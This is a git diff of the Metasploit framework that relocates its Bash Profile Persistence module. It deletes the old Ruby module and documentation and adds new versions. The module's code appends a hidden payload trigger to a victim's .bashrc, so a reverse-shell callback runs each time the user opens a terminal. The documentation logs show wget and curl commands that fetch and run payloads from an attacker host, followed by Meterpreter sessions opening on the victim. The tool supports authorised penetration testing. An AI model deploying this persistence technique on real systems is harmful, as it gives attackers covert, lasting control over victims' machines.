diff --git a/documentation/modules/exploit/linux/local/bash_profile_persistence.md b/documentation/modules/exploit/linux/local/bash_profile_persistence.md deleted file mode 100644 index 69085dc08e..0000000000 --- a/documentation/modules/exploit/linux/local/bash_profile_persistence.md +++ /dev/null @@ -1,50 +0,0 @@ -## Description - - This module establishes persistence via the Linux Bash profile method. - This module makes two changes to the target system. - First, the module writes a payload to a directory (`/var/temp/` by default). - Second, the module writes a payload execution trigger to the Bash profile (`~/.bashrc` by default). - The persistent payload is executed whenever the victim user opens a Bash terminal. - -## Vulnerable Application - - This module has been tested successfully on: - - * Ubuntu 19 (x86_64) running GNU bash, version 5.0.3(1)-release - -## Verification Steps - - 1. Start `msfconsole` - 2. Get a Meterpreter session - 3. `use exploit/linux/local/bash_profile_persistence` - 4. `set SESSION [SESSION]` - 5. `run` - 6. On victim, open a new Bash terminal - 7. You should get a new session with the permissions of the exploited user account - -## Options - - **BASH_PROFILE** - - The path to the target Bash profile. (default: `~/.bashrc`) - - **PAYLOAD_DIR** - - A writable directory file system path. (default: `/var/tmp`) - -## Scenarios - -``` -msf > use exploit/linux/local/bash_profile_persistence -msf exploit(linux/local/bash_profile_persistence) > set SESSION 1 -msf exploit(linux/local/bash_profile_persistence) > exploit - -[*] Bash profile exists: /home/user/.bashrc -[*] Bash profile is writable: /home/user/.bashrc -[*] Created backup Bash profile: /root/.msf4/logs/persistence/192.168.1.191_20191128.130945_Bash_Profile.backup -[*] Writing '/var/tmp/IgHypGLMglheQ' (126 bytes) ... -[+] Wrote payload trigger to Bash profile -[!] Payload will be triggered when target opens a Bash terminal -[!] Don't forget to start your handler: -[!] msf> handler -H 0.0.0.0 -P 4444 -p cmd/unix/reverse_python -``` diff --git a/documentation/modules/exploit/linux/persistence/bash_profile.md b/documentation/modules/exploit/linux/persistence/bash_profile.md new file mode 100644 index 0000000000..577852bd95 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/bash_profile.md @@ -0,0 +1,111 @@ +## Vulnerable Application + +This module writes an execution trigger to the target's Bash profile. +The execution trigger executes a call back payload whenever the target +user opens a Bash terminal. + +Verified on Ubuntu 22.04 and 18.04 desktop with Gnome + +## Verification Steps + +1. Start `msfconsole` +2. Get a Meterpreter session +3. `use exploit/linux/local/bash_profile_persistence` +4. `set SESSION [SESSION]` +5. `run` +6. On victim, open a new Bash terminal +7. You should get a new session with the permissions of the exploited user account + +## Options + +### BASH_PROFILE + +The path to the target Bash profile. Defaults to `.bashrc` + +### PAYLOAD_NAME + +Name of the payload file. Defaults to random + +## Scenarios + +### Ubuntu 18.04.3 + +Initial access vector via web delivery + +``` +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO O2XZweCh --no-check-certificate http://111.111.1.111:8181/l; chmod +x O2XZweCh; ./O2XZweCh& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:44878) at 2025-02-06 21:11:39 -0500 +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/bash_profile +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/bash_profile) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/bash_profile) > exploit +[*] Command to run on remote host: curl -so ./QfTygMjF http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./QfTygMjF;./QfTygMjF& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/bash_profile) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bash profile exists: /home/ubuntu/.bashrc +[+] Bash profile is writable: /home/ubuntu/.bashrc +[!] The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc +[*] Created backup Bash profile: /root/.msf4/loot/20250206211215_default_222.222.2.222_desktop..bashrc_080965.txt +[*] Writing '/tmp/BfkldKp4' (100 bytes) ... +[*] Created Bash profile persistence +[+] Payload will be triggered when target opens a Bash terminal +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250206.1216/ubuntu18desktop.local_20250206.1216.rc +``` +On the remote host open `/bin/bash` + +``` +[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 222.222.2.222 (curl/7.58.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:40990) at 2025-02-06 21:12:21 -0500 +[msf](Jobs:2 Agents:2) exploit(linux/persistence/bash_profile) > sessions -i 2 +[*] Starting interaction with 2... +(Meterpreter 2)(/tmp) > sysinfo +Computer : ubuntu18desktop.local +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 2)(/tmp) > +``` \ No newline at end of file diff --git a/modules/exploits/linux/local/bash_profile_persistence.rb b/modules/exploits/linux/local/bash_profile_persistence.rb deleted file mode 100644 index 9f5fb136e7..0000000000 --- a/modules/exploits/linux/local/bash_profile_persistence.rb +++ /dev/null @@ -1,122 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Local - Rank = NormalRanking - include Msf::Post::Common - include Msf::Post::File - include Msf::Post::Unix - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Bash Profile Persistence', - 'Description' => %q{ - This module writes an execution trigger to the target's Bash profile. - The execution trigger executes a call back payload whenever the target - user opens a Bash terminal. A handler is not run automatically, so you - must configure an appropriate exploit/multi/handler to receive the callback. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Michael Long ' - ], - 'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell - 'Platform' => ['unix', 'linux'], - 'Arch' => ARCH_CMD, - 'SessionTypes' => ['meterpreter', 'shell'], - 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, - 'Targets' => [ - ['Automatic', {}] - ], - 'DefaultTarget' => 0, - 'Payload' => { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'Meterpreter' => { - 'Commands' => %w[ - stdapi_sys_config_sysinfo - ] - } - } - }, - 'References' => [ - ['URL', 'https://attack.mitre.org/techniques/T1156/'] - ], - 'Notes' => { - 'Reliability' => [ REPEATABLE_SESSION ], - 'Stability' => [ CRASH_SAFE ], - 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] - } - ) - ) - - register_options( - [ - OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.', '~/.bashrc']), - OptString.new('PAYLOAD_DIR', [true, 'Directory to write persistent payload file.', '/var/tmp/']) - ] - ) - end - - def exploit - # expand home directory path (i.e. '~/.bashrc' becomes '/home/user/.bashrc') - profile_path = datastore['BASH_PROFILE'] - if profile_path.start_with?('~/') - home_directory = get_env('$HOME') - profile_path.sub!(/^~/, home_directory) - end - - # check that target Bash profile file exists - unless exist?(profile_path) - fail_with Failure::NotFound, profile_path - end - print_good("Bash profile exists: #{profile_path}") - - # check that target Bash profile file is writable - unless writable?(profile_path) - fail_with Failure::NoAccess, profile_path - end - print_good("Bash profile is writable: #{profile_path}") - - # create Bash profile backup on local system before persistence is added - backup_profile = read_file(profile_path) - backup_profile_path = create_backup_file(backup_profile) - print_status("Created backup Bash profile: #{backup_profile_path}") - - # upload persistent payload to target and make executable (chmod 700) - payload_file = datastore['PAYLOAD_DIR'] + Rex::Text.rand_text_alpha(10..16) - upload_and_chmodx(payload_file, payload.encoded) - - # write payload trigger to Bash profile - exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null - append_file(profile_path, exec_payload_string) - print_good('Created Bash profile persistence') - print_status('Payload will be triggered when target opens a Bash terminal') - print_warning("Don't forget to start your handler:") - print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}") - end - - # create a backup copy of the target's Bash profile on the local system before persistence is added - def create_backup_file(backup_profile) - begin - hostname = session.sys.config.sysinfo['Computer'] - rescue NoMethodError - hostname = cmd_exec('hostname') - end - - timestamp = '_' + ::Time.now.strftime('%Y%m%d.%H%M%S') - - log_directory_name = ::File.join(Msf::Config.log_directory, 'persistence/' + hostname + timestamp) - - ::FileUtils.mkdir_p(log_directory_name) - - log_file_name = log_directory_name + '/Bash_Profile.backup' - file_local_write(log_file_name, backup_profile) - return log_file_name - end -end diff --git a/modules/exploits/linux/persistence/bash_profile.rb b/modules/exploits/linux/persistence/bash_profile.rb new file mode 100644 index 0000000000..fd0b0eabbe --- /dev/null +++ b/modules/exploits/linux/persistence/bash_profile.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Auxiliary::Report + include Msf::Exploit::EXE # for generate_payload_exe + include Msf::Post::Linux::User + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/bash_profile_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Bash Profile Persistence', + 'Description' => %q{ + This module writes an execution trigger to the target's Bash profile. + The execution trigger executes a call back payload whenever the target + user opens a Bash terminal. + Verified on Ubuntu 22.04 and 18.04 desktop with Gnome + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Michael Long ' + ], + 'Payload' => { + 'BadChars' => '#%\n"' + }, + 'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell + 'Platform' => ['unix', 'linux'], + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'SessionTypes' => ['meterpreter', 'shell'], + 'Targets' => [ + ['Automatic', {}] + ], + 'DefaultTarget' => 0, + 'References' => [ + ['URL', 'https://attack.mitre.org/techniques/T1546/004/'] + ], + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION, EVENT_DEPENDENT ], + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] + } + ) + ) + + register_options( + [ + OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually .bashrc or .bash_profile.', '.bashrc']), + OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']), + ] + ) + end + + def target_user + return datastore['USER'] unless datastore['USER'].blank? + + whoami + end + + def profile_path + user = target_user + home = get_home_dir(user) + "#{home}/#{datastore['BASH_PROFILE']}" + end + + def check + ppath = profile_path + + # check that target Bash profile file exists + return CheckCode::Safe("Bash profile does not exist: #{ppath}") unless exist?(ppath) + + vprint_good("Bash profile exists: #{ppath}") + + # check that target Bash profile file is writable + return CheckCode::Safe("Bash profile is not writable: #{ppath}") unless writable?(ppath) + + vprint_good("Bash profile is writable: #{ppath}") + + CheckCode::Detected("Bash profile exists and is writable: #{ppath}") + end + + def install_persistence + # create Bash profile backup on local system before persistence is added + ppath = profile_path + backup_profile = read_file(ppath) + + backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup') + print_status("Created backup Bash profile: #{backup_profile_path}") + + if payload.arch.first == 'cmd' + pload = payload.encoded + pload = pload.sub(/&$/, '') # remove trailing & since we add it later + exec_payload_string = "#{pload} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null + else + # upload persistent payload to target and make executable (chmod 700) + payload_path = datastore['WritableDir'] + payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/" + payload_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10) + payload_path << payload_name + upload_and_chmodx(payload_path, generate_payload_exe) + + # write payload trigger to Bash profile + exec_payload_string = "#{payload_path} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null + end + append_file(ppath, exec_payload_string) + vprint_status('Created Bash profile persistence') + print_good('Payload will be triggered when target opens a Bash terminal') + + @clean_up_rc << "rm #{payload_path}\n" + @clean_up_rc << "upload #{backup_profile_path} #{ppath}" + end +end